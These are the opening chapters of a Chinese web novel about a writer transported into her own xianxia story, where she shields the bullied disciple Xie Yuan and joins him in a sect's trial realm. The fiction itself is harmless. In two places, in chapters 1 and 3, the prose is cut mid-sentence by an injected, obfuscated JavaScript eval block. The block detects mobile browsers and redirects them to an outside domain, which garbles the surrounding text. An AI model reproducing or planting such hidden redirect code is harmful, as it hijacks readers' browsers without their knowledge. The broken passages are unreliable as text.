《剧情怎么又崩了》 1. 穿书 夜幕低垂,星斗渐亮。 “啊啊啊——” 伴随着一道略显凄惨的叫声,唐棠自半空中跌落在地,整个人摔得眼冒金星。 她穿书了。 好消息,原著作者就是她,剧情发展了然于心。 坏消息,这本书BE了,无良系统却要求她达成HE结局。 唐棠低头看着身上的鹅黄襦裙,一时间欲哭无泪。 恰在此时,门外响起敲门声,紧接着一道沉稳清亮的少年声音传来,“弟子谢渊前来拜会。” 谢渊?这不是男主吗?他要见谁? 唐棠怔愣片刻,随即迅速起身观察周围的情况,她身处一方暗室,月光透过窗缝流淌进来,照亮了她脚下方寸之地,却见满地破碎的白玉瓷片,空气中充斥着难以掩盖的浓烈酒香。 只一瞬间唐棠就反应了过来,这里是原著女主谢寒霜的寝殿。 谢寒霜是唐棠笔下的第一个主角,亦是《清冷师尊偏执徒》中仙姿佚貌、清冷绝尘的女主,原著披着仙侠修真的皮,实则是遍地撒狗血的古早虐文。 在原著中,谢渊年少时与谢寒霜有过一面之缘,来凌霄宗本意是想拜谢寒霜为师,奈何错过了弟子招新大会,只能以洒扫弟子的身份留在宗门内,因此时常被师兄弟欺凌。 而谢渊此行正是来替师兄顶罪的。 好一个开篇即误会。 如此狗血且恶俗的初识,唐棠已经无力吐槽当初的自己了。 透过半掩的窗缝,唐棠瞥见安静站在门口的谢渊,身姿挺拔,脑袋却微微低垂着,额前碎发遮掩着双眸,像只无家可归的小狗,莫名有些可怜。 唐棠纠结了片刻,还是眼一闭心一横,推开窗喊道:“谢渊!” 毕竟是自家的好大儿,我不救谁救! 立在门口的少年闻声抬头,略显苍白的脸上还挂着伤,唇角一片青紫,饶是如此,唐棠还是忍不住惊叹于对方的模样,眉眼间自带少年锐气,薄唇轻抿,双眸沉静。 此刻,谢渊正平静地回望着唐棠。 而唐棠正以十分不雅的姿势挂在窗沿上,愣愣地看着谢渊,直到一阵夜风吹来,半扇窗忽地撞向她时才回过神来,迅速地翻窗出去。 唐棠走至谢渊身前,还未开口,忽然听见一阵极轻极缓的脚步声传来。 声音愈来愈近,一道黑影骤然出现在她眼前。 唐棠心中警铃大作。 完了,从谢渊开口的那一刻起,谢寒霜就已经在归程的路上了。 这样下去,两个人必然还是会见面。 这该死的剧情杀!唐棠暗骂一声,拉起谢渊就往回跑,直到躲进了谢寒霜的寝殿内,才松了一口气。 自始自终,谢渊既没有挣扎也没有质问,反倒是十分冷静地看着唐棠。 唐棠对上谢渊的目光才想起解释来,指着满地破碎的瓷瓶,低声道:“你被骗了!师兄他们想让你顶罪!” 谢渊眸光微闪,轻声道:“我知道。” “……”你知道?知道为什么还要来?! 唐棠简直要被谢渊的脑回路气晕过去。 难不成就是为了见谢寒霜一面?!你这恋爱脑简直没救了!!! 唐棠正要开口,却见谢渊忽然靠近,怔愣间,一只指节修长的手已然捂住了她的嘴巴。 谢渊的指腹有薄薄一层薄茧,蹭在她唇边有些发痒。 二人间距离极近,唐棠几乎贴在了谢渊的胸口,耳边传来沉稳且有力的心跳声。 她抬眸,清晰地看见了谢渊脸上大小不一的伤口。 身为洒扫弟子除了清扫山门另一件大事便是供师兄弟们取乐,今日替大师兄习剑,明日替小师弟完成课业,饶是如此依旧不肯放过他,一旦被责罚打骂,憋着一肚子火都要冲他来撒。 对此,谢渊早就习以为常了。 无忧峰峰主谢寒霜数日未归,师兄几人擅自闯入寝殿,打碎了瓷瓶后逃走,又寻了一番托词说谢峰主寻他有事。 能有什么事呢?他入凌霄宗一年多,连见到谢寒霜的次数都屈指可数,对方根本不可能认识他,谢渊一早扫完山门便来了谢寒霜的无忧峰,候在寝殿外,未散的酒香从屋内传来,而谢寒霜却不在其间。 此行何意,谢渊早就心里有数了。 门外谢寒霜的脚步声越来越近,谢渊眉头微微蹙起,紧盯着窗扇上映出的身影,忽然觉察到唐棠的目光,回过神来十分克制地收回手,放在唇边发出一道气声:“嘘——” 压低声音道:“躲好。” 随即打开了门。 唐棠躲在窗后,看见门外的谢寒霜白衣似雪,脚步轻浮,于在院中站定,看向谢渊,双眸微微眯起,整个人散发着危险的气息。 不必多想,女主这是又喝多了! 唐棠屏息凝神正观察着谢寒霜的举动,忽然听见谢渊开口,沉声道:“凌霄宗弟子谢渊前来领罚。” “擅闯峰主寝殿?”谢寒霜冷哼一声,腕上银镯流光闪过,瞬间变幻成一条长鞭。 只一眼,唐棠便认出那长鞭,正是谢寒霜的法器——龙骨长鞭。 长鞭通体雪白,由妖兽的脊骨制成,未使用灵力时骨刺收拢,一旦注入灵力,骨刺便会瞬间疯长,细密的尖刺宛如倒勾,一鞭下去便会血肉模糊。 在原著故事中,谢渊不知领教了多少次此法器的威力。 “跪下。” 声音清冷,似山间清泉,却又带着丝丝寒意。 唐棠躲在窗后,看着谢渊一步步走下台阶,跪在谢寒霜面前。 直到谢寒霜挥鞭的一瞬间,唐棠才猛地回过神来。 等等——这要是误会了,后面还怎么发展?! “等一下!!!” 喊完立刻就后悔了,唐棠咬着牙猛地一掐大腿,瞬间疼得眼泪汪汪,这时才敢走出去,抬头对上谢寒霜质问的眼神。 “谢渊他……是被骗来的!”唐棠看向跪在地上的谢渊,接着道:“今日午时我亲眼所见,是师兄闯进了您的寝殿打碎了瓷瓶……” 谢渊自始至终都是一副沉稳冷静的模样,即便谢寒霜的长鞭擦着他的发丝而过,神情都不曾有丝毫变化。 直到唐棠出面替他辩解时才抬起头,目光中闪过一丝诧异。 唐棠装出一副被吓得不轻的模样,颤声道:“师兄他们……他们想让谢渊顶罪!” 谢寒霜双眸微眯,掌心一松,手中的龙骨长鞭瞬间化作银镯扣回到她腕间。 “你是谁?”声音一如既往的清冷。 唐棠想起穿书前系统告知她的身份,解释道:“我、我叫唐棠……是凌霄宗新入门的弟子,明、明日……入秘境试炼。” “为何在此?” 唐棠低垂着脑袋,手指不安地搅动着衣袖,一副乖巧认错地模样,“我……我走错路了,找不到学舍在哪……” 凌霄宗弟子招新大会三年一届,新入宗的弟子统一待在学舍,次日才会进入秘境试炼。 谢寒霜看了眼跪在她眼前的谢渊,冷声道:“送她回学舍。” 言毕,谢寒霜绕过二人回了寝殿,唐棠这才松了一口气,立刻抹干净了眼角的泪珠,吸了吸鼻子看向谢渊嘿嘿一笑。 “走吧。”谢渊道。 一高一矮两道身影穿行于竹林间,唐棠一蹦一跳地走在石阶上,看着草丛中四散飞舞的萤火虫,嘴角噙着浅浅笑意。 二人走了许久,皆无言,直至谢寒霜的寝殿彻底消失在身后。 谢渊率先开口,打破了沉默,“你方才说错了。” “啊?”唐棠不解道。 谢渊微微侧首,看了眼唐棠,“午时我已经候在殿外了,师兄他们是更早时候来的。” 唐棠想起方才为谢渊解围时随口编的谎话,愣了一瞬,不好意思地摸了摸鼻子。 午时她还没穿过来,哪里知晓师兄们是何时闯入谢寒霜寝殿的。 谢渊从一开始就识破了她的谎言,却没有当着谢寒霜的面拆穿。 “倘若此事被查起,你记得改口。”谢渊声音沉稳缓和,微微侧首看了一眼唐棠。 “哦。”唐棠十分乖巧地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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眼看谢渊俯身就要去清扫地上的垃圾,唐棠眼疾手快地一把拉住谢渊,将人拽了起来,“师兄自己弄脏了地,怎么不自己收拾?” 唐棠讥讽道:“难不成是身患恶疾行动不便?” “你——” 李遇完全没想到一个刚入宗门的小师妹会如此牙尖嘴利,正欲发难忽地又觉不妥,话音一转道:“小师妹,明日入秘境师兄带你可好?” 新人入秘境统一都会由师兄师姐带着,一方面是入境前要以灵力开启引路石,新入宗的弟子尚未开始修行,自然没办法开启引路石,另一方面是为了防止发生危险时秘境外的人来不及觉察。 唐棠看向几人,学舍是新入宗弟子休息的地方,入宗多年的弟子根本不会来这里,且她所住的地方是专供女弟子休息的,这几个人却偏挑着这半夜三更的时候来。 简直是把心思写到了脸上! 想必在她和谢渊来之前就已经同屋内的小师妹商量好了明日一起入秘境。 想骗我!哼,门都没有! 唐棠冷哼一声,道:“我已经同谢师兄说好了,明日他会带我入秘境。” 原著中,谢渊本就是是独自一人入的秘境。 所以,就算她改变了这一段无足轻重的剧情也没关系。 唐棠看向谢渊,十分认真地点了点头。 “就凭他?” 几个人仿佛听到了什么笑话,笑得前仰后合,久久不能平息。 “谢、谢师弟……想不到你还挺有手段啊哈哈哈!”李遇笑得极其夸张,连眼角都笑出了泪来。 谢渊抿了抿唇,没有说话。 李遇从怀中掏出一块略显粗糙的引路石,上面刻着繁复的花纹,若是以灵力开启了引路石,花纹便会亮起。 “谢师弟怕是连引路石都没见过吧?”李遇呲笑了声,接着道:“知道怎么用吗?” 唐棠看不下去,一把夺过李遇手中的引路石,递给了谢渊。 谢渊犹豫了片刻还是接过了引路石。 耳边传来不间断的笑声,谢渊头一次觉得这些笑声尖利刺耳。 手中的引路石无比冰凉,不过好在,他这一年来替师兄弟们写的课业都不是白写的。 谢渊目光一凛,仅一瞬间湛蓝色的光就将引路石凹陷的花纹覆盖,在即将完成之时,忽然被一只凭空出现的手夺走了引路石。 2. 秘境 “这么晚不休息,跑到学舍来做什么?” 一道沉稳从容的声音传来,方才还狂笑不止的李遇一行人猛地收了声,齐声喊道:“林师兄!” 谢渊回身行礼,恭敬地喊道:“师兄。” 林恕看了眼手中的引路石,道:“慌什么?” 几人不敢言语。 唐棠眼睛却兀地一亮,这不是书中刚正不阿、诛邪斩恶的大师兄嘛! 林恕看着手中引路石的光芒彻底散去,才抬眼看向李遇,沉声道:“这是明日弟子入秘境所需要的引路石。李遇,我让你清点数量,你却监守自盗。” “我、我……不是……”李遇一时紧张地话都说不利索。 “明日弟子招新大会结束后去戒律堂领罚。” 林恕声音温和,却带着不容置喙的严厉。 唐棠看着眼前一幕,心中只觉得无比畅快。 原著中没有这段剧情,谢渊本该按照师兄李遇所言,收拾完地上的垃圾然后离开。 而现在,谢渊不仅开启引路石打了李遇的脸,甚至还让对方不得不去戒律堂领罚。 真是天道好轮回,让你平日里欺负我家好大儿!活该! 唐棠心中正暗爽,却见林恕看向谢渊道:“你擅自开启引路石,知不知晓——” 唐棠心中一惊,赶忙打断道:“不是的!是师兄他们硬要谢渊开启的!” 李遇辩解道:“小师妹,你怎么如此胡言?分明是——” “我胡言?那要不要我将方才师兄您对我说的那些话向林师兄重复一遍?”唐棠扭头看向林恕,委屈道:“林师兄,方才他一边喊我小师妹一边还……” 唐棠话未说完就捂着脸装出一副哽咽得不能言语的模样。 话藏半分,让人浮想联翩。 林恕顿了片刻,冷声道:“除去戒律堂外,罚你们几人清扫山门半年。” “那是谢渊该干……的活。”李遇还想争辩,对上林恕严肃的目光一下子收了声,不甘心地应了声:“……是。” 透过指缝,唐棠看见几人四散奔逃的模样,险些笑出声,拼命忍住笑意,肩膀却止不住一耸一耸的。 林恕只见小弟子哭得伤心欲绝,犹豫了一番,还是抬手拍了拍唐棠的肩膀,放缓了声音道:“别哭了,早些回去休息罢。” 唐棠不敢放下手,生怕林恕看见她偷笑的模样,只低声道:“谢谢林师兄。” 言罢,捂着脸转身就往屋内跑去。 身后传来林恕略显严肃的声音,“你若是也想参加弟子招新大会我可以帮你登记上,不过临时再找人带你入秘境恐怕有些难……” 在说谢渊?唐棠一扭头,笑着喊道:“林师兄!谢渊他明日带我入秘境!” 林恕看着方才还哭得伤心欲绝,转眼间又笑出来的小弟子,一时间竟有些怀疑自己的眼睛,指着唐棠消失的身影,呆愣道:“她……?” 方才是不是在装哭? 林恕无奈地捏了捏眉心,想起方才谢渊开启引路石的那一幕,便道:“你愿意带她入秘境吗?” 谢渊点了点头,轻声道:“嗯。” “那好,你也早些回去休息罢。” 林恕说完便转身离开了,走在小道上忍不住闭上眼,捏紧了眉心,怀疑是不是近日太过繁忙,导致他出现了幻觉,居然看见上一秒哭得伤心欲绝的小弟子下一刻又笑了出来。 未留意眼前的路险些撞上一人。 来人一袭红衣,容貌妖艳,手中执剑,对他行礼喊道:“师兄。” “灵鸢啊……” 还以为撞鬼了。林恕摸了摸自己的小心脏,叹了口气道:“这么晚还在习剑?” “嗯。” “早些回去罢,明日你还要入秘境呢。” “知道了,师兄。” 许灵鸢收剑正要离开,听见林恕道:“明日你一人入秘境能行吗?” “师兄放心。” * 原著中,孤身入境者不止谢渊一人。 唐棠看向校场,凌霄宗校场占地面积极广,两侧种着绵延不绝的桃林,风吹过,桃花瓣簌簌飘落。 校场外围站着一红衣女子,身形高挑,抱剑而立。 “唐棠。” 一声轻唤打断了的思绪,唐棠回头,见谢渊向她走过来。 站在校场中央的林恕看向观礼台,收到指示后转身开口道:“诸位——” “拿到通关玉令即可离开秘境。” “率先脱离秘境的夺魁者可自行选择拜入哪位峰主门下。” “铛——”随着一道悠远的钟鸣声,只听林恕沉声道:“现在开启秘境。” 随着林恕话音落下,校场中的众位师兄师姐掏出了引路石,湛蓝色的光芒齐聚,瞬间便将众人拉入了秘境中。 * 莽莽深林,不见月色。 秘境中的时辰会比秘境外流逝的更快一下,眼下已是深夜。 唐棠从杂草丛生的地上爬起来的第一时间就是找谢渊,可放眼望去,偌大的秘境中根本没有谢渊的身影。 唐棠第一反应是,谢渊不会甩掉她自己去找通关玉令了吧?! 想到此,唐棠立即起身,寻找起谢渊的身影。 她一定要随谢渊一起入秘境还有另一个原因——阻止谢渊找到通过玉令。 原著中,谢渊的确是第一个找到通关玉令的人,只可惜不仅没能拿到玉令,还被半路杀出的妖兽所伤,险些丧命。 所以,无论如何,她现在都要让谢渊远离通关玉令。 可是……她现在该去哪找谢渊呢? “咔嚓——” 秘境中荒草丛生,唐棠正犹豫着往哪边走,前方忽然传来枯枝折断的声音,于寂寂深林中显得尤为明显。 一时间,唐棠被吓得大气都不敢出,死死盯着发出声音的方向。 只见一只细瘦苍白的手拨开了草丛。 “鬼啊——” 唐棠扭头就跑,慌乱间一头撞到了树上,登时眼冒金星,昏昏沉沉的在原地转了个圈。 然后就看见了谢渊。 一瞬间,唐棠像只小兔子一样“噔噔噔”地窜了过去,一把抱住谢渊,哭得眼泪鼻涕一把抓,口齿不清道:“好……大……儿你……来救……我了……” 谢渊一个字都没听清,哑声道:“你先……松手……” 两人说话皆是断断续续的,一个是被吓的,另一个是被勒的。 唐棠不语,只一味地抱得更紧。 待情绪平复后,唐棠才松了手。 “谢渊,你觉得我们应该往哪走?” 唐棠吸了吸鼻子,退后两步望着谢渊,一双杏眸沾水,眼眶泛红看起来更像只小兔子了。 谢渊静默片刻后,抬手指了个方向。 看样子通关玉令在那个方向。 “好。”唐棠指着与谢渊相反的方向道:“我们走这边。” 谢渊:“……” 两人一前一后走在小径上,唐棠心情十分愉悦,心想着带谢渊在这里兜两个圈子,那边应该就完事了,到时候再和谢渊一起过去。 这样既能避免谢渊受伤,又能顺利离开秘境。 走了没多久,前方忽然传来流水声,声势浩荡,仿佛近在眼前。 唐棠心中一惊,猛地回头想拦住谢渊。 然而谢渊已经先她一步伸出手,拨开了前方遮挡视线的杂草丛。 “找到了。”谢渊沉声道。 顺着谢渊手指的方向,唐棠看见了悬浮在瀑布正上空的通关玉令。 唐棠猛然间意识到,无论走哪条路,谢渊都会是第一个找到通关玉令的人。 又是可恶的剧情杀! 唐棠晃神间,谢渊已经拔剑斩落拦住去路的杂草。 身形挺拔,剑法干净利落。 眼前瞬间豁然开朗,奔腾的水流从近百米高的悬崖峭壁上飞泻而下,如鲛绡万幅。 唐棠抱着谢渊手臂,一边拼命往回拽一边喊道:“不行!你不能去!” 谢渊站在原地不动,连身形都不曾歪几分,面无表情地看着唐棠费尽九牛二虎之力试图将他拉动。 “为什么我不能去?” 谢渊垂下眼眸,不由自主地想到了曾经师兄说过的话。 那时他刚入宗门不久,清扫完山门听到了弟子习剑的声音,便爬到树上想看看,不料被师兄瞧见,痛骂他不好好干活,即便他解释自己已经打扫完了也无济于事,反而招来一顿毒打。 那是他入宗以来挨的第一顿打,躺在地上的时候连呼吸都感觉疼,却还要忍受对方嘲弄。 区区一个洒扫弟子,还妄图修行,真是可笑。 原来,都是一样的。 谢渊看向唐棠的目光中不自觉染上了几分阴郁。 唐棠不知道谢渊心中所想,只想将他带离此处,喊道:“你就是不能去!水里面有——” 话未说完,唐棠一下子被甩开,一时站不稳跌倒在地,她一脸错愕地回头,却见谢渊已经转身向通关玉令走去。 唐棠不顾一切大喊道:“水里有妖兽!你不能去,谢渊!” 谢渊侧首,微微抬起头,泠泠月色笼罩着他,眼睑投下一片阴影,显得神情越发阴郁,开口时声音冷若冰霜:“唐棠,你的谎话未免太拙劣了。” 新人秘境中只有通关玉令,率先拿到者视为秘境夺魁者。多年来,凌霄宗的弟子试炼皆是如此,从未有秘境出现妖兽一说。 闻言,唐棠愣住,难不成他以为自己骗他是为了抢夺通关玉令? 唐棠猛然间觉得自己像个跳梁小丑,为了完成系统的要求,达成所谓的HE结局,她用尽浑身解数替谢渊解围,可谢渊呢? 他竟然怀疑自己想要和他争抢通关玉令。 他们之间从昨晚开始建立起的友谊顷刻间便荡然无存,脆弱得仿佛一张白纸。 唐棠只觉得委屈,手指不自觉地攥紧,饶是如此,她还是试图阻拦谢渊的步伐,哑声解释道:“我没有想和你抢夺通关玉令……” 谢渊不再听唐棠的解释,先一步动身,踏石飞跃而起。 通关玉令自始至终都悬停在瀑布的上空,水中乱石嶙峋,眼看谢渊就要碰到通关玉令之时,水中忽然传来一声震天巨响,水面也随即激荡起来,玉令顷刻间便被飞流直下的瀑布吞噬,转瞬便不见了踪迹。 唐棠跪坐岸边,清楚地看见水中的一块石头动了起来,原本平坦的石面上忽然炸开一层黑色的鳞片,于皎洁的月色下反射着粼粼幽光。 谢渊低头看见水中巨石的变化,瞳孔猛地收缩,迅速退至岸边。 水中的“巨石”忽然潜入水底,下一个瞬间猛地冲出水面,唐棠来不及躲闪,被劈头盖脸地泼了一池冷水。 湿发粘在额头,唐棠咬着下唇,望向谢渊,眼底地委屈不言自明。 谢渊早已闪身躲至树后,浑身上下干干净净的,没有沾上一滴水。 二人视线相接,谢渊没有言语,只是忽然间眸光一凛,伸手将唐棠拽了过来,唐棠躲闪不及,一下子撞进了谢渊怀中。 尚未反应过来,只闻身后“轰隆——”一声巨响,唐棠侧首望去,只见她方才所在的地方赫然被砸出一个大坑。 巨大的黑色蛇尾尚未收回,悉悉索索地来回摆动着。 一瞬间,唐棠被吓得鸡皮疙瘩都起来了,捂着眼睛就往谢渊怀中躲。 透过指缝,唐棠看见了水中的巨物的真面目,遍布黑色鳞片的巨蛇吐露着红色的信子,发出“嘶嘶——”的嗡鸣,妖异的竖瞳散发着幽幽绿光。 见此情景,唐棠被吓的腿都软了,幸而有谢渊扶着,不至于一屁股瘫倒在地上。 那双幽绿的竖瞳来回扫荡着,忽然间猛地一收,紧接 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一时间思绪纷乱,只闻“铛——”的一声脆响,一截断剑擦着唐棠耳侧飞过,钉在了一旁的树上。 唐棠抬眸,看见谢渊喘着粗气半跪在岸边,手中剩下的断剑勉强地撑在地上。 水中的腾蛇一寸一寸慢慢靠近谢渊,幽绿色的瞳孔微微眯起,仿佛是对猎物的不屑嘲弄,不断吐露的信子释放着令人不安地气息。 在距离谢渊只有一步之遥时忽然停了下来,唐棠一颗心猛地悬了起来。 一人一妖对峙半晌,那妖兽突然暴起发难,张开血盆大口扑了上去。 唐棠失声道:“谢渊——” 妖兽原本隐藏在水中的大半蛇身探出水中,阻隔了唐棠的视线。 一时间,周遭仿佛都安静了下来,耳边只闻瀑布倾泻而下的声音,黑色的蛇身盘旋扭曲,唐棠被吓得愣在原地。 忽然间,一道寒光闪过,唐棠看见一柄断剑正斜插在妖兽口中,让其无法咬合,只能发出疯狂扭转着蛇身,发出刺耳的嘶吼声。 谢渊站在蛇口边缘处,腥臭的气息扑面而来,妖兽尖锐的獠牙距离他肩膀只有一寸之余,稍稍不注意便会刺破他的胸膛。 “跑——!” 力竭嘶哑的声音传入唐棠耳中,唐棠猛地回过神来,看见谢渊狼狈的苦苦支撑,凌乱的发丝掩住了那一双阴沉的黑眸,可她却感觉到碎发下的双眸分明在看向自己。 到了如此境地,他还有空担心旁人。 唐棠看着那妖兽身上附着的黑色鳞片,猛然间想起她曾经写下的设定:妖兽腾蛇,其身附黑鳞,坚不可摧…… 既然是蛇的话,那弱点只有一个—— “谢渊!”唐棠将手中长剑掷了出去,喊道:“打它七寸!” 闻言,谢渊猛地用力推开蛇口,翻滚着向后撤去,接过剑后迅速拔剑,闪身至妖兽身后,一跃而起猛地刺向其腰腹七寸处,原本坚不可摧的鳞片瞬间炸开,锋利的剑尖穿透蛇身,谢渊眸光一凛,用尽全身力气将妖兽彻底贯穿。 眼看妖兽彻底没了声息,谢渊这才卸了力,半跪在岸边,一手执剑撑在地上,喘着粗气。 “谢渊!”唐棠爬起来立刻跑向谢渊,半跪在他身侧看见他浑身黑衣被鲜血浸透,手忙脚乱地想去检查他身上的伤口,“你受伤了!在哪?让我看看!” 谢渊侧首,微微垂眸看向唐棠,月光落在他被汗水浸湿的发梢,眉骨投下一小片阴影,掩住了眼底的情绪。 他低垂着脑袋,轻握住了唐棠在他身上乱摸的手,沉默了半晌,忽然低声道:“对不起。” 唐棠一愣,“嗯?” “是我观察得不够仔细,没能注意到水中的妖兽,害你……落入险境。”谢渊平复了呼吸,道:“我没想到秘境中会出现妖兽。” 谢渊抬眸看向唐棠,眼底的歉意和脆弱一览无余。 自从母亲离世后,他再不曾感受旁人的善意,乞食、偷东西……为了填饱肚子,什么样的坏事他都干过,他也自知这样的自己没资格得到别人的善待。 所以,当师兄弟打骂他时,他从不还手,要他去顶罪也默默接受。 他一直以为世上所有的人都会如此待他,可有人不一样。 同那些欺凌他的师兄弟不一样。 “唐棠。”谢渊看着唐棠,言辞恳切道:“对不起。” 唐棠被一连串的道歉惊得不知所措,她明显感觉到谢渊的情绪不太对劲,却不知为何,只能开口轻轻地询问道:“你哪里受伤啦?先告诉我好不好?” 谢渊摇了摇头,哑声道:“我没受伤。” “那、那就好……” 唐棠不敢多言,想挣开谢渊握着她的手,却不小心蹭到了手腕处的擦伤,猛地一吃痛,忍不住喊出了声:“你先松手……” 谢渊这时才注意到了唐棠手上的伤,握紧的手立即松了松,但是没有放开。 他方才推开人时没注意力道,唐棠纤细的腕骨处一片惊心触目地擦伤,还在不断往外渗血。 谢渊沉默着撕下一截衣摆,认真地唐棠包扎好了伤口,又再度道:“对不起。” 唐棠疼得呲牙咧嘴,听见谢渊的道歉又有些想笑:“你只会说这三个字吗?” 谢渊看着她不说话,眼神干净地宛如一只小狗。 唐棠收回手,看着缓缓沉入水中的妖兽,催促道:“我们快离开这里吧。” 谢渊点了点头,起身踩着腾蛇尚未彻底滑落水中的尸体,走向瀑布中央。 唐棠拎着裙摆跟了上去,蛇身湿滑粘腻,唐棠不慎脚下一滑,眼看要跌入深不见底的瀑布之中,千钧一发之际,谢渊出伸手拉住了她,同时另一只手碰到通关玉令,二人一齐离开了秘境。 “住手——” 3. 拜师 秘境中传来的怒喊声戛然而止,唐棠和谢渊已然回到了凌霄宗校场,站在校场中央,迎接着来自观礼台上无数目光的洗礼。 “咚咚咚——” 高台之上有人击鼓,喊道:“秘境夺魁者——谢渊……” 声音忽然顿住,似是有些诧异其身后还跟着一名少女,片刻后回神,接着喊道:“唐棠!” 刚一从秘境出来,唐棠立即抬头看向观礼台。 观礼台上坐着一众峰主及其亲传弟子,唯独谢寒霜是孤身一人,一袭白衣,神色清冷。 林恕自观礼台上走向二人,笑道:“恭喜通过秘境试炼——” 话未说完,忽然传来一阵剑气破空的尖啸声。 在唐棠尚未反应过来之际,只见一向温和有礼的大师兄林恕忽然脸色一变,“噌——”的一声,拔剑猛地刺向谢渊。 林恕手中长剑擦着谢渊脖颈堪堪而过,将从后方飞来的另一柄长剑打落。 饶是他动作迅速,谢渊脖颈还是被划出一道血痕。 唐棠震惊之余看向了被打落在一旁的长剑,望着剑柄上红色的剑穗,立刻明白发生了什么。 一回首,果然看见一身红衣的许灵鸢从秘境中追出。 只可惜稍晚了一步。 大概是不想让她和谢渊夺得魁首,所以在秘境中便掷出了剑想打飞通关玉令,只是没想到剑碰到通关玉令先飞了出来。 林恕神情严肃地收了剑,低声道:“怎么回事,灵鸢?” “我……” 许灵鸢看见捂着侧颈、一身黑衣被鲜血浸透的谢渊,脑中思绪纷乱,还以为自己伤了人,一时不知如何解释。 没想到改变了剧情线会闹这么一出,唐棠看着许灵鸢无措的模样,便开口替她解围,“师兄!秘境里有妖兽!” 林恕怔愣片刻,不可置信道:“怎么可能……?” “是真的!”唐棠表情十分夸张地描述道:“那么大一条蛇!谢渊被咬了一大口,差一点就被吃掉了!” 谢渊抹去了颈侧的血痕,低垂着脑袋,神情平静地反驳道:“我没有被咬,也没有被吃掉。” “你都受伤了!还说没被咬!” 唐棠指责谢渊,这时候居然不和她统一战线! 林恕并未多言,抬手按压谢渊颈侧的穴位,替他止了血。 谢渊闷哼了声,眉头微微蹙起。 简单处理了谢渊颈侧的伤口,林恕站在原地,微微侧首看了眼观礼台,思虑着该如何同台上的众位峰主解释尚未正式修行的弟子却在秘境中遭遇妖兽袭击,甚至险些丧命。 按理来说,新人秘境中是不可能出现妖兽的。 正当此时,从秘境中涌出一大群人,有些神色慌张,亦有些人的表情中带着几分兴奋。 “哇!没想到秘境中竟然有那么大一只妖兽,吓死我了。” “要是活的恐怕我们都走不出这秘境……” “就是就是!那妖兽看起来就十分凶险,好在只是一具尸体……” 出了秘境的弟子们你一言我一语,叽叽喳喳地说个不停。 观礼台上的众人也觉察出了不对劲,宗主孟虞起身,覆手而立,温声道:“发生了何事?” 林恕当即回身行礼,沉声道:“禀宗主,秘境中……似乎有妖兽出没。” 闻言,弟子们又低声讨论了起来,有人道:“有妖兽出没?我怎么没见着……” “等等——我们看见的那个之前不会是活的吧?” “不会吧!我还以为是为了试炼我们胆量,特意放了具妖兽尸体在那。” “那我们岂不是差一点就死……” 那名弟子猛地收了声,有些怯懦地向后退了两步,似是因自己口无遮拦而羞愧。 林恕回身询问道:“那妖兽是——” 许灵鸢不等林恕说完便喊道:“腾蛇!” 闻言,一时间连观礼台上的亲传弟子都忍不住小声议论了起来。 “腾蛇?” “秘境中怎么会出现这种大型妖兽?” 有明事理的弟子已然将目光对准了台上鹤骨霜髯的静心峰峰主许三清,毕竟此届弟子招新大会大小事宜皆由他裁决,新入门弟子历练的秘境亦是一手操办的。 唐棠仰首,看向了端坐于观礼台之上的许三清。 数道目光皆汇集其身上,许三清倒是镇定,端起桌案上的热茶轻抿了一口,才缓缓起身解释道:“许是老朽年岁大了,老眼昏花,并未注意到此处有妖兽,这才导致了尚未修行的弟子深陷险境。” 开口并未辩解,反倒是十分从容地担下了这份责任,一时间,众人也不好再对其指责什么。 唐棠心中暗骂:你这个糟老头子坏得很!明明就是故意的! 宗主孟虞正要开口,却见许三清转身对他行礼,接着道:“孟宗主,老朽愿辞去静心峰峰主一职。” 孟虞摆了摆手,有些头疼地捏了捏眉心,转移了话题:“有弟子受伤吗?” “禀宗主,有一名弟子受伤了。”林恕看了眼谢渊,接着道:“伤势并无大碍。” “那便好,尽快行完拜师礼,再去处理伤口。”孟虞颔首,看向台下的谢渊和唐棠,笑道:“你们两人既然同时夺魁,不知想拜入谁的门下?” 机会来了!倘若此时和谢渊一同拜入谢寒霜门下,往后再推进二人感情线必然会轻松得多! 唐棠眼睛一亮,迫不及待地举手喊道:“我我我——我要拜谢寒霜为师!” 林恕愣住,这师妹什么来头?居然要拜无忧峰峰主谢寒霜为师?! 自打他入宗以来,听到的关于无忧峰峰主谢寒霜的传闻皆是嗜酒如命性情漠然,仗着自己曾是宗主孟虞的小师妹,尤其喜好酒后虐待宗内弟子,因此不仅无人敢靠近无忧峰半步,连谢寒霜的名字都无人敢提起,更别提有弟子敢拜入其门下了。 林恕在震惊中接过了唐棠递上的腰牌,却见谢渊将腰牌紧紧攥在手中,垂首一言不发。 “你想拜入哪位峰主门下,谢渊?”林恕倒以为他没听见宗主的话,又重新问了一遍。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362685|183764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我想……”谢渊抿了抿唇,到底没将那个名字说出口。 一旁的唐棠都快急死了,却见谢渊这块闷木头不吭声,索性抓起谢渊的手臂高举起来,像小学生进课堂一样喊道:“报告!他也想拜入谢峰主门下!” 唐棠全然不顾谢渊错愕的神情,从他手中拿过腰牌递给了林恕。 林恕转身登上观礼台,将两个腰牌整整齐齐放在谢寒霜面前,然后迅速退下。 自始至终,谢寒霜都未曾开口,只在听到自己名字的那一瞬抬眸看了一眼,随后一直安静喝茶。 谢寒霜面色平静地看了眼放在她桌案上的两块腰牌,冷声道:“我不收徒。” 言毕,谢寒霜搁下茶盏,在众人错愕的神情中起身离席,衣摆拂过桌案,似融化的霜雪般不留痕迹。 “寒霜!”孟虞低喝道。 “能率先通过秘境的夺魁者,资质禀赋尚佳自不必多言。”许三清忽地起身,悠悠道:“谢峰主多年来从未收徒,恐怕不知如何教导,反而会——” 话音未落,谢寒霜已然回身,寒潭似的冷眸微微眯起,开口时声音冷如冰霜:“我不知如何教导?” 